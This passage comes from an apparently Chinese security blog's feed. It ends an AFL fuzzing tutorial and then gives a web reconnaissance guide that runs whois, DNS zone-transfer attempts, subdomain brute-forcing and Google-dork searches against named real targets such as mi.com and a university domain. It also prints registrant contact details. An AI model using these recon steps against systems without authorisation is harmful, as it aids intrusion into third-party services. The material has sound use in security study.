<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ experimental/crash_triage/triage_crashes.sh ../vuln/out/ ../vuln/v1-afl 2> & 1 | grep SIGNAL</span> <br > <span class= "line" > +++ ID 000000, SIGNAL 11 +++</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > crashwalk<br > 如果你想得到更细致的crashes分类结果, 以及导致crashes的具体原因, 那么crashwalk就是不错的选择之一。这个工具基于gdb的exploitable插件, 安装也相对简单, 在ubuntu上, 只需要如下几步即可: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ apt-get install gdb golang</span> <br > <span class= "line" > $ mkdir tools</span> <br > <span class= "line" > $ cd tools</span> <br > <span class= "line" > $ git clone https://github.com/jfoote/exploitable.git</span> <br > <span class= "line" > $ mkdir go</span> <br > <span class= "line" > $ export GOPATH=~/tools/go</span> <br > <span class= "line" > $ export CW_EXPLOITABLE=~/tools/exploitable/exploitable/exploitable.py</span> <br > <span class= "line" > $ go get -u github.com/bnagy/crashwalk/cmd/...</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<ul >
<li style= "list-style: none" > <input type= "checkbox" > 这部分我好像还没完成</li>
</ul>
<ol start= "3" >
<li > afl-collect<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ afl-collect -d crashes.db -e gdb_script -j 8 -r ../vuln/out/ ../vuln/testcase -- ../vuln/v1-afl</span> <br > <span class= "line" > </span> <br > <span class= "line" > *** GDB+EXPLOITABLE SCRIPT OUTPUT ***</span> <br > <span class= "line" > [00001] out:id:000000,sig:11,src:000000,op:havoc,rep:64.................: EXPLOITABLE [ReturnAv (1/22)]</span> <br > <span class= "line" > *** ***************************** ***</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<hr >
<h1 id= "0x02-代码覆盖率及其相关概念" > <a href= "#0x02-代码覆盖率及其相关概念" class= "headerlink" title= "0x02 代码覆盖率及其相关概念" > </a> 0x02 代码覆盖率及其相关概念</h1> <blockquote >
<p > 代码覆盖率是模糊测试中一个极其重要的概念, 使用代码覆盖率可以评估和改进测试过程, 执行到的代码越多, 找到bug的可能性就越大, 毕竟, 在覆盖的代码中并不能100%发现bug, 在未覆盖的代码中却是100%找不到任何bug的。<br > 代码覆盖率是一种度量代码的覆盖程度的方式, 也就是指源代码中的某行代码是否已执行; 对二进制程序, 还可将此概念理解为汇编代码中的某条指令是否已执行。其计量方式很多, 但无论是GCC的GCOV还是LLVM的SanitizerCoverage, 都提供函数( function) 、基本块( basic-block) 、边界( edge) 三种级别的覆盖率检测。</p>
</blockquote>
<h2 id= "计算代码覆盖率" > <a href= "#计算代码覆盖率" class= "headerlink" title= "计算代码覆盖率" > </a> 计算代码覆盖率</h2> <p > <strong > GCOV</strong> :插桩生成覆盖率 <strong > LCOV</strong> :图形展示覆盖率 <strong > afl-cov</strong> : 调用前两个工具计算afl测试用例的覆盖率</p>
<ol >
<li > <p > gcc插桩<br > <strong > -fprofile-arcs -ftest-coverage</strong> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ gcc -fprofile-arcs -ftest-coverage ./v1.c -o v1-cov</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > afl-cov计算之前fuzzer的过程( 结束后) </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ../afl-2.52b/afl-cov/afl-cov -d ./out/ --enable-branch-coverage -c . -e " cat AFL_FILE | ./v1-cov AFL_FILE" </span> <br > <span class= "line" > </span> <br > <span class= "line" > Non-zero exit status ' 1' for CMD: /usr/bin/readelf -a cat</span> <br > <span class= "line" > </span> <br > <span class= "line" > *** Imported 2 new test cases from: ./out//queue</span> <br > <span class= "line" > </span> <br > <span class= "line" > [+] AFL test case: id:000000,orig:1 (0 / 2), cycle: 0</span> <br > <span class= "line" > lines......: 100.0% (6 of 6 lines)</span> <br > <span class= "line" > functions..: 100.0% (2 of 2 functions)</span> <br > <span class= "line" > branches...: no data found</span> <br > <span class= "line" > </span> <br > <span class= "line" > Coverage diff (init) id:000000,orig:1</span> <br > <span class= "line" > diff (init) -> id:000000,orig:1</span> <br > <span class= "line" > New src file: /home/han/ck/vuln/v1.c</span> <br > <span class= "line" > New ' function' coverage: main()</span> <br > <span class= "line" > New ' function' coverage: vulnerable_function()</span> <br > <span class= "line" > New ' line' coverage: 11</span> <br > <span class= "line" > New ' line' coverage: 12</span> <br > <span class= "line" > New ' line' coverage: 13</span> <br > <span class= "line" > New ' line' coverage: 6</span> <br > <span class= "line" > New ' line' coverage: 8</span> <br > <span class= "line" > New ' line' coverage: 9</span> <br > <span class= "line" > </span> <br > <span class= "line" > ++++++ BEGIN - first exec output for CMD: cat ./out//queue/id:000000,orig:1 | ./v1-cov ./out//queue/id:000000,orig:1</span> <br > <span class= "line" > Hello, World</span> <br > <span class= "line" > ++++++ END</span> <br > <span class= "line" > </span> <br > <span class= "line" > [+] AFL test case: id:000001,orig:2 (1 / 2), cycle: 0</span> <br > <span class= "line" > lines......: 100.0% (6 of 6 lines)</span> <br > <span class= "line" > functions..: 100.0% (2 of 2 functions)</span> <br > <span class= "line" > branches...: no data found</span> <br > <span class= "line" > [+] Processed 2 / 2 test cases.</span> <br > <span class= "line" > </span> <br > <span class= "line" > [+] Final zero coverage report: ./out//cov/zero-cov</span> <br > <span class= "line" > [+] Final positive coverage report: ./out//cov/pos-cov</span> <br > <span class= "line" > lines......: 100.0% (6 of 6 lines)</span> <br > <span class= "line" > functions..: 100.0% (2 of 2 functions)</span> <br > <span class= "line" > branches...: no data found</span> <br > <span class= "line" > [+] Final lcov web report: ./out//cov/web/index.html</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > LCOV展示</p>
</li>
</ol>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562570048/afl/1.png" a l t > </p>
<hr >
<h1 id= "0x03-黑盒测试( 使用qemu" > <a href= "#0x03-黑盒测试( 使用qemu" class= "headerlink" title= "0x03 黑盒测试( 使用qemu" > </a> 0x03 黑盒测试( 使用qemu</h1> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/outQemu -Q ../vuln/v1</span> <br > <span class= "line" > american fuzzy lop 2.52b (v1)</span> <br > <span class= "line" > </span> <br > <span class= "line" > ┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐</span> <br > <span class= "line" > │ run time : 0 days, 0 hrs, 0 min, 41 sec │ cycles done : 232 │</span> <br > <span class= "line" > │ last new path : none yet (odd, check syntax!) │ total paths : 2 │</span> <br > <span class= "line" > │ last uniq crash : 0 days, 0 hrs, 0 min, 41 sec │ uniq crashes : 1 │</span> <br > <span class= "line" > │ last uniq hang : none seen yet │ uniq hangs : 0 │</span> <br > <span class= "line" > ├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤</span> <br > <span class= "line" > │ now processing : 0* (0.00%) │ map density : 0.04% / 0.04% │</span> <br > <span class= "line" > │ paths timed out : 0 (0.00%) │ count coverage : 1.00 bits/tuple │</span> <br > <span class= "line" > ├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤</span> <br > <span class= "line" > │ now trying : havoc │ favored paths : 1 (50.00%) │</span> <br > <span class= "line" > │ stage execs : 255/256 (99.61%) │ new edges on : 1 (50.00%) │</span> <br > <span class= "line" > │ total execs : 121k │ total crashes : 33 (1 unique) │</span> <br > <span class= "line" > │ exec speed : 2860/sec │ total tmouts : 0 (0 unique) │</span> <br > <span class= "line" > ├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤</span> <br > <span class= "line" > │ bit flips : 0/56, 0/54, 0/50 │ levels : 1 │</span> <br > <span class= "line" > │ byte flips : 0/7, 0/5, 0/1 │ pending : 0 │</span> <br > <span class= "line" > │ arithmetics : 0/392, 0/25, 0/0 │ pend fav : 0 │</span> <br > <span class= "line" > │ known ints : 0/36, 0/138, 0/44 │ own finds : 0 │</span> <br > <span class= "line" > │ dictionary : 0/0, 0/0, 0/0 │ imported : n/a │</span> <br > <span class= "line" > │ havoc : 1/120k, 0/0 │ stability : 100.00% │</span> <br > <span class= "line" > │ trim : 82.61%/5, 0.00% ├────────────────────────┘</span> <br > <span class= "line" > ^C────────────────────────────────────────────────────┘ [cpu000:102%]</span> <br > </pre> </td> </tr> </table> </figure>
<ul >
<li style= "list-style: none" > <input type= "checkbox" > 待完成对黑盒测试原理的分析</li>
</ul>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 二进制</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > AFL</tag>
<tag > 模糊测试</tag>
</tags>
</entry>
<entry >
<title > 【web】信息收集</title>
<url > /2019/11/12/web-information-collect/</url>
<content > <![CDATA[<p> 信息收集+常规owasp top 10+逻辑漏洞<br > <a href= "https://www.freebuf.com/sectool/94777.html" target= "_blank" rel= "noopener" > https://www.freebuf.com/sectool/94777.html</a> </p>
<blockquote >
<p > 测试范围:<em > .i.mi.com </em> .cloud.mi.com</p>
</blockquote>
<h1 id= "0x01-信息收集" > <a href= "#0x01-信息收集" class= "headerlink" title= "0x01 信息收集" > </a> 0x01 信息收集</h1> <p > <a href= "https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/" target= "_blank" rel= "noopener" > https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</a> <br > <a href= "http://www.polaris-lab.com/index.php/archives/69/" target= "_blank" rel= "noopener" > http://www.polaris-lab.com/index.php/archives/69/</a> </p>
<h2 id= "域名信息收集" > <a href= "#域名信息收集" class= "headerlink" title= "域名信息收集" > </a> 域名信息收集</h2> <h3 id= "whois反查" > <a href= "#whois反查" class= "headerlink" title= "whois反查" > </a> whois反查</h3> <p > 当你知道目标的域名, 你首先要做的就是通过Whoist数据库查询域名的注册信息, Whois数据库是提供域名的注册人信息, 包括联系方式, 管理员名字, 管理员邮箱等等, 其中也包括DNS服务器的信息。<br > 默认情况下, Kali已经安装了Whois。你只需要输入要查询的域名即可: <code > whois mi.com</code> <br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@kali:~# whois mi.com</span> <br > <span class= "line" > Domain Name: MI.COM</span> <br > <span class= "line" > Registry Domain ID: 2502844_DOMAIN_COM-VRSN</span> <br > <span class= "line" > Registrar WHOIS Server: whois.networksolutions.com</span> <br > <span class= "line" > Registrar URL: http://networksolutions.com</span> <br > <span class= "line" > Updated Date: 2017-12-20T07:20:54Z</span> <br > <span class= "line" > Creation Date: 1998-11-06T05:00:00Z</span> <br > <span class= "line" > Registrar Registration Expiration Date: 2023-11-05T04:00:00Z</span> <br > <span class= "line" > Registrar: NETWORK SOLUTIONS, LLC.</span> <br > <span class= "line" > Registrar IANA ID: 2</span> <br > <span class= "line" > Reseller:</span> <br > <span class= "line" > Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited</span> <br > <span class= "line" > Registry Registrant ID:</span> <br > <span class= "line" > Registrant Name: XIAOMI INC</span> <br > <span class= "line" > Registrant Organization: XIAOMI INC</span> <br > <span class= "line" > Registrant Street: The Rainbow City Office Building</span> <br > <span class= "line" > Registrant City: Beijing</span> <br > <span class= "line" > Registrant State/Province: Beijing</span> <br > <span class= "line" > Registrant Postal Code: 100085</span> <br > <span class= "line" > Registrant Country: CN</span> <br > <span class= "line" > Registrant Phone: +86.13911275905</span> <br > <span class= "line" > Registrant Phone Ext:</span> <br > <span class= "line" > Registrant Fax: +86.1060606666</span> <br > <span class= "line" > Registrant Fax Ext:</span> <br > <span class= "line" > Registrant Email: dns-admin@xiaomi.com</span> <br > <span class= "line" > Registry Admin ID:</span> <br > <span class= "line" > Admin Name: Ma, Hongjie</span> <br > <span class= "line" > Admin Organization: XIAOMI INC</span> <br > <span class= "line" > Admin Street: The Rainbow City Office Building</span> <br > <span class= "line" > Admin City: Beijing</span> <br > <span class= "line" > Admin State/Province: Beijing</span> <br > <span class= "line" > Admin Postal Code: 100085</span> <br > <span class= "line" > Admin Country: CN</span> <br > <span class= "line" > Admin Phone: +86.13911275905</span> <br > <span class= "line" > Admin Phone Ext:</span> <br > <span class= "line" > Admin Fax: +86.1060606666</span> <br > <span class= "line" > Admin Fax Ext:</span> <br > <span class= "line" > Admin Email: dns-admin@xiaomi.com</span> <br > <span class= "line" > Registry Tech ID:</span> <br > <span class= "line" > Tech Name: Ma, Hongjie</span> <br > <span class= "line" > Tech Organization: XIAOMI INC</span> <br > <span class= "line" > Tech Street: The Rainbow City Office Building</span> <br > <span class= "line" > Tech City: Beijing</span> <br > <span class= "line" > Tech State/Province: Beijing</span> <br > <span class= "line" > Tech Postal Code: 100085</span> <br > <span class= "line" > Tech Country: CN</span> <br > <span class= "line" > Tech Phone: +86.13911275905</span> <br > <span class= "line" > Tech Phone Ext:</span> <br > <span class= "line" > Tech Fax: +86.1060606666</span> <br > <span class= "line" > Tech Fax Ext:</span> <br > <span class= "line" > Tech Email: dns-admin@xiaomi.com</span> <br > <span class= "line" > Name Server: NS3.DNSV5.COM</span> <br > <span class= "line" > Name Server: NS4.DNSV5.COM</span> <br > <span class= "line" > DNSSEC: unsigned</span> <br > <span class= "line" > Registrar Abuse Contact Email: abuse@web.com</span> <br > <span class= "line" > Registrar Abuse Contact Phone: +1.8003337680</span> <br > <span class= "line" > URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/<
<p > 除了使用whois命令, 也有一些网站提供在线whois信息查询: <br > whois.chinaz.com/<br > 然后可以看到注册人信息,邮箱等等这样我们可以进行邮箱反查域名,爆破邮箱,社工,域名劫持等等</p>
<h3 id= "DNS服务器查询" > <a href= "#DNS服务器查询" class= "headerlink" title= "DNS服务器查询" > </a> DNS服务器查询</h3> <p > <img src= "https://image.3001.net/images/20150202/14228625211610.jpg" a l t > </p>
<p > <strong > 1. host</strong> <br > 在kali下我们还可以通过host命令来查询dns服务器<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@kali:~# host www.mi.com</span> <br > <span class= "line" > www.mi.com is an alias for www.mi.com.wscdns.com.</span> <br > <span class= "line" > www.mi.com.wscdns.com has address 116.211.251.22</span> <br > <span class= "line" > www.mi.com.wscdns.com has address 221.235.187.82</span> <br > <span class= "line" > www.mi.com.wscdns.com has IPv6 address 240e:95e:1001::18</span> <br > </pre> </td> </tr> </table> </figure> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > DNS查询: </span> <br > <span class= "line" > host -t a domainName</span> <br > <span class= "line" > host -t mx domainName</span> <br > <span class= "line" > </span> <br > <span class= "line" > 优点: 非常直观, 通过查询DNS服务器的A记录、CNAME等, 可以准确得到相关信息, 较全。</span> <br > <span class= "line" > 缺点: 有很大的局限性, 很多DNS是禁止查询的。</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > 2. dig</strong> <br > 除了host命令, 你也可以使用dig命令对DNS服务器进行挖掘。相对于host命令, dig命令更具有灵活和清晰的显示信息。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@kali:~# dig mi.com any</span> <br > <span class= "line" > </span> <br > <span class= "line" > ; < < > > DiG 9.11.5-P4-3-Debian < < > > mi.com any</span> <br > <span class= "line" > ;; global options: +cmd</span> <br > <span class= "line" > ;; Got answer:</span> <br > <span class= "line" > ;; -> > HEADER< < - opcode: QUERY, status: NOERROR, id: 8930</span> <br > <span class= "line" > ;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 2, ADDITIONAL: 22</span> <br > <span class= "line" > </span> <br > <span class= "line" > ;; OPT PSEUDOSECTION:</span> <br > <span class= "line" > ; EDNS: version: 0, flags:; udp: 4096</span> <br > <span class= "line" > ; COOKIE: b8b49b6c9f27b6bb4704b2375d3bf751d8231fd911f3b57e (good)</span> <br > <span class= "line" > ;; QUESTION SECTION:</span> <br > <span class= "line" > ;mi.com. IN ANY</span> <br > <span class= "line" > </span> <br > <span class= "line" > ;; ANSWER SECTION:</span> <br > <span class= "line" > mi.com. 600 IN SOA ns3.dnsv5.com. enterprise3dnsadmin.dnspod.com. 1564128772 3600 180 1209600 180</span> <br > <span class= "line" > mi.com. 600 IN TXT " g5482dbvg8n9bo3vedav36m63q" </span> <br > <span class= "line" > mi.com. 600 IN TXT " n9rmdqaed6q0502f6t3mfj89i5" </span> <br > <span class= "line" > mi.com. 600 IN TXT " v=spf1 include:spf_bj.mxmail.xiaomi.com include:spf_hk.mxmail.xiaomi.com ~all" </span> <br > <span class= "line" > mi.com. 65 IN A 58.83.160.156</span> <br > <span class= "line" > mi.com. 2841 IN NS ns4.dnsv5.com.</span> <br > <span class= "line" > mi.com. 2841 IN NS ns3.dnsv5.com.</span> <br > <span class= "line" > </span> <br > <span class= "line" > ;; AUTHORITY SECTION:</span> <br > <span class= "line" > mi.com. 2841 IN NS ns3.dnsv5.com.</span> <br > <span class= "line" > mi.com. 2841 IN NS ns4.dnsv5.com.</span> <br > <span class= "line" > </span> <br > <span class= "line" > ;; ADDITIONAL SECTION:</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 61.151.180.51</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 117.135.170.109</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 162.14.18.188</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 182.140.167.191</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 223.166.151.16</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 14.215.150.16</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 18.194.2.137</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 52.77.238.92</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 58.251.86.12</span> <br > <span class= "line" > ns3.dnsv5.com. 12665 IN A 59.36.120.148</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 14.215.150.13</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 18.235.54.99</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 52.198.159.146</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 59.36.120.147</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 61.151.180.52</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 101.226.220.12</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 125.39.213.166</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 162.14.18.121</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 180.163.19.12</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 182.254.20.44</span> <br > <span class= "line" > ns4.dnsv5.com. 129705 IN A 223.166.151.126</span> <br > <span class= "line" > </span> <br > <span class= "line" > ;; Query time: 1070 msec</span> <br > <span class= "line" > ;; SERVER: 192.168.64.2#53(192.168.64.2)</span> <br > <span class= "line" > ;; WHEN: Sat Jul 27 03:03:01 EDT 2019</span> <br > <span class= "line" > ;; MSG SIZE rcvd: 717</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > 3. DNS域传送漏洞</strong> <br > <a href= "http://www.lijiejie.com/dns-zone-transfer-2/" target= "_blank" rel= "noopener" > http://www.lijiejie.com/dns-zone-transfer-2/</a> <br > DNS区域传送( DNS zone transfer) 指的是一台备用服务器使用来自主服务器的数据刷新自己的域( zone) 数据库, 目的是为了做冗余备份, 防止主服务器出现故障时 dns 解析不可用。然而主服务器对来请求的备用服务器未作访问控制,验证身份就做出相应故而出现这个漏洞。<br > 收集dns服务器信息\手工使用nslookup命令、whois查询等手段进行对某个域名的dns服务器信息的收集,利用网络空间搜索引擎收集域名服务器信息。如( shadon、zoomeye、fofa等) ,使用MASSCAN 进行端口扫描后, 获取开放53号端口的dns服务器地址 <a href= "http://www.freebuf.com/sectool/112583.html" target= "_blank" rel= "noopener" > http://www.freebuf.com/sectool/112583.html</a> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@kali:~# dig +short @8.8.8.8 mi.com ns</span> <br > <span class= "line" > ns3.dnsv5.com.</span> <br > <span class= "line" > ns4.dnsv5.com.</span> <br > <span class= "line" > root@kali:~# dig +nocmd @ns4.dnsv5.com mi.com axfr</span> <br > <span class= "line" > ;; communications error to 14.215.150.13#53: end of file</span> <br > <span class= "line" > ;; communications error to 14.215.150.13#53: end of file</span> <br > </pre> </td> </tr> </table> </figure> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > C:\Users\Administrator> nslookup</span> <br > <span class= "line" > 默认服务器: XiaoQiang</span> <br > <span class= "line" > Address: 192.168.31.1</span> <br > <span class= "line" > </span> <br > <span class= "line" > > server ns4.dnsv5.com</span> <br > <span class= "line" > 默认服务器: ns4.dnsv5.com</span> <br > <span class= "line" > Addresses: 182.254.20.44</span> <br > <span class= "line" > 180.163.19.12</span> <br > <span class= "line" > 18.235.54.99</span> <br > <span class= "line" > 162.14.18.121</span> <br > <span class= "line" > 61.151.180.52</span> <br > <span class= "line" > 52.198.159.146</span> <br > <span class= "line" > 59.36.120.147</span> <br > <span class= "line" > 223.166.151.126</span> <br > <span class= "line" > 14.215.150.13</span> <br > <span class= "line" > 101.226.220.12</span> <br > <span class= "line" > 125.39.213.166</span> <br > <span class= "line" > </span> <br > <span class= "line" > > ls mi.com</span> <br > <span class= "line" > ls: connect: No error</span> <br > <span class= "line" > *** 无法列出域 mi.com: Unspecified error</span> <br > <span class= "line" > DNS 服务器拒绝将区域 mi.com 传送到你的计算机。如果这不正确,</span> <br > <span class= "line" > 请检查 IP 地址 182.254.20.44 的 DNS 服务器上 mi.com 的</span> <br > <span class= "line" > 区域传送安全设置。</span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "子域名" > <a href= "#子域名" class= "headerlink" title= "子域名" > </a> 子域名</h2> <p > <a href= "https://github.com/ring04h/wydomain" target= "_blank" rel= "noopener" > https://github.com/ring04h/wydomain</a> <br > 在渗透测试的时候,往往主站的防御会很强,常常无从下手,那么子站就是一个重要的突破口,因此子域名是渗透测试的主要关注对象,子域名搜集的越完整,那么挖到的漏洞就可能更多,甚至漏洞的级别也会更高。常用的工具有下面这些:<br > <strong > 1. 子域名挖掘机Layer</strong> </p>
<table >
<thead >
<tr >
<th > 域名</th>
<th > 解析IP</th>
<th > 开放端口</th>
<th > WEB服务器</th>
<th > 网站状态</th>
</tr>
</thead>
<tbody >
<tr >
<td > cn.i.mi.com</td>
<td > 120.92.65.26</td>
<td > 80,443</td>
<td > -</td>
<td > 80:(405) 不允许的方法</td>
</tr>
<tr >
<td > daily.i.mi.com</td>
<td > 10.108.230.153</td>
<td > -</td>
<td > 端口未开放</td>
<td > 端口未开放</td>
</tr>
<tr >
<td > in.i.mi.com</td>
<td > 104.211.73.78</td>
<td > 80,443</td>
<td > Tengine</td>
<td > 80:(405) 不允许的方法</td>
</tr>
<tr >
<td > us.i.mi.com</td>
<td > 54.148.120.178,35.162.30.45</td>
<td > 80,443</td>
<td > Tengine</td>
<td > 80:(405) 不允许的方法</td>
</tr>
</tbody>
</table>
<p > <strong > 2. subdomain lijiejie的子域名收集工具</strong> <br > <a href= "https://github.com/lijiejie/subDomainsBrute" target= "_blank" rel= "noopener" > https://github.com/lijiejie/subDomainsBrute</a> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ python subDomainsBrute.py -t 10 i.mi.com </span> <br > <span class= "line" > SubDomainsBrute v1.2</span> <br > <span class= "line" > https://github.com/lijiejie/subDomainsBrute</span> <br > <span class= "line" > </span> <br > <span class= "line" > [+] Validate DNS servers </span> <br > <span class= "line" > [+] Server 182.254.116.116 < OK > Found 4 </span> <br > <span class= "line" > [+] 4 DNS Servers found </span> <br > <span class= "line" > [+] Run wildcard test</span> <br > <span class= "line" > [+] Start 6 scan process</span> <br > <span class= "line" > [+] Please wait while scanning ...</span> <br > <span class= "line" > </span> <br > <span class= "line" > All Done. 4 found, 16185 scanned in 74.0 seconds. </span> <br > <span class= "line" > Output file is i.mi.com.txt</span> <br > <span class= "line" > cn.i.mi.com 120.92.65.26</span> <br > <span class= "line" > daily.i.mi.com 10.108.230.153</span> <br > <span class= "line" > in.i.mi.com 104.211.73.78</span> <br > <span class= "line" > us.i.mi.com 35.162.30.45, 54.148.120.178</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > 3. google hacking</strong> <br > <a href= "https://github.com/K0rz3n/GoogleHacking-Page" target= "_blank" rel= "noopener" > https://github.com/K0rz3n/GoogleHacking-Page</a> </p>
<ul >
<li > 搜集域名和mail地址: </li>
<li > 搜集敏感文件:<code > site:xxx.com filetype:doc|mdb|ini|php|asp|jsp</code> </li>
<li > 搜集管理后台:<code > site:xxx.com 管理/ site:xxx.com admin/ site:xxx.com login</code> </li>
<li > 搜集mail: <code > site:xxx.com intext:@xxx.com/ intext:@xxx.com</code> </li>
<li > 搜集敏感web路径: <code > site:xxx.com intitle:登录/ site:xxx.com inurl:sql.php</code> </li>
</ul>
<p > 批量查找学校网站的后台 输入如下关键字<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > </span> <br > <span class= "line" > site:hdu.edu.cn intext:管理|后台|登录|用户名|密码|验证码|系统|账号|后台管理|后台登录</span> <br > <span class= "line" > </span> <br > <span class= "line" > intext: 把网页中的正文内容中的某个字符做为搜索条件.</span> <br > <span class= "line" > </span> <br > <span class= "line" > 例如在google里输入:intext:杭电.将返回所有在网页正文部分包含”杭电”的网页</span> <br > <span class= "line" > </span> <br > <span class= "line" > allintext:使用方法和intext类似.</span> <br > <span class= "line" > </span> <br > <span class= "line" > intitle: 搜索网页标题中是否有我们所要找的字符.</span> <br > <span class= "line" > </span> <br > <span class= "line" > 例如搜索:intitle:杭电.将返回所有网页标题中包含”杭电”的网页.同理allintitle:也同intitle类似.</span> <br > <span class= "line" > </span> <br > <span class= "line" > cache: 搜索google里关于某些内容的缓存,有时候往往能找到一些好东西.</span> <br > <span class= "line" > </span> <br > <span class= "line" > define: 搜索某个词的定义,例如搜索:define:杭电,将返回关于“杭电”的定义.</span> <br > <span class= "line" > </span> <br > <span class= "line" > filetype: 搜索制定类型的文件, 例如: filetype:doc.将返回所有以doc结尾的文件URL.</span> <br > <span class= "line" > </span> <br > <span class= "line" > info: 查找指定站点的一些基本信息.</span> <br > <span class= "line" > </span> <br > <span class= "line" > inurl: 搜索我们指定的字符是否存在于URL中.</span> <br > <span class= "line" > </span> <br > <span class= "line" > 例如输入:inurl:admin,将返回N个类似于这样的连接:http://xxx/admin,</span> <br > <span class= "line" > </span> <br > <span class= "line" > 常用于查找通用漏洞、注入点、管理员登录的URL</span> <br > <span class= "line" > </span> <br > <span class= "line" > allinurl:也同inurl类似,可指定多个字符.</span> <br > <span class= "line" > </span> <br > <span class= "line" > linkurl: 例如搜索:inurl:hdu.edu.cn可以返回所有和hdu.edu.cn做了链接的URL.</span> <br > <span class= "line" > </span> <br > <span class= "line" > site: 搜索指定域名,如site:hdu.edu.cn.将返回所有和hdu.edu.cn有关的URL.</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > 4. 爬虫</strong> <br > 一些网站里面的跳转请求( 也可以关注一下app) <br > 还有就是百度, 有些会在title 和 copyright信息里面出现该公司的信息<br > 网站html源码: 主要就是一些图片、js、css等, 也会出现一些域名<br > apk反编译源码里面</p>
<h2 id= "敏感信息收集" > <a href= "#敏感信息收集" class= "headerlink" title= "敏感信息收集" > </a> 敏感信息收集</h2> <p > 用扫描器扫描目录,这时候你需要一本强大的字典,重在平时积累。字典越强扫描处的结果可能越多。常见有.git文件泄露, .svn文件泄露, .DB_store文件泄露, WEB-INF/web.xml泄露。目录扫描有两种方式, 使用目录字典进行暴力才接存在该目录或文件返回200或者403; 使用爬虫爬行主页上的所有链接, 对每个链接进行再次爬行, 收集这个域名下的所有链接, 然后总结出需要的信息。<br > 路径fuzz: <a href= "https://github.com/ring04h/weakfilescan" target= "_blank" rel= "noopener" > https://github.com/ring04h/weakfilescan</a> <br > 敏感文件扫描: <a href= "https://github.com/Mosuan/FileScan" target= "_blank" rel= "noopener" > https://github.com/Mosuan/FileScan</a> <br > web模糊测试: <a href= "https://github.com/xmendez/wfuzz" target= "_blank" rel= "noopener" > https://github.com/xmendez/wfuzz</a> </p>
<ol >
<li > github项目<br > GitPrey是根据企业关键词进行项目检索以及相应敏感文件和敏感文件内容扫描的工具 <a href= "https://github.com/repoog/GitPrey" target= "_blank" rel= "noopener" > https://github.com/repoog/GitPrey</a> </li>
<li > svn 泄漏<br > svn 文件是 subversion 的版本控制信息文件 当某个目录处于 subversion 的版本控制时,在这个目录中就会 .svn 这个文件夹,这个 .svn 文件夹中的文件就是一些版本信息文件,供 subversion 使用。由于部署上线的时候没有删除这个文件夹,导致代码泄漏。<br > <a href= "https://i.mi.com//.svn/entries" target= "_blank" rel= "noopener" > https://i.mi.com//.svn/entries</a> </li>
<li > 敏感文件</li>
</ol>
<ul >
<li > DS_Store 文件泄露 <a href= "https://github.com/lijiejie/ds_store_exp" target= "_blank" rel= "noopener" > https://github.com/lijiejie/ds_store_exp</a> </li>
<li > 备份文件</li>
<li > WEB-INF泄露</li>
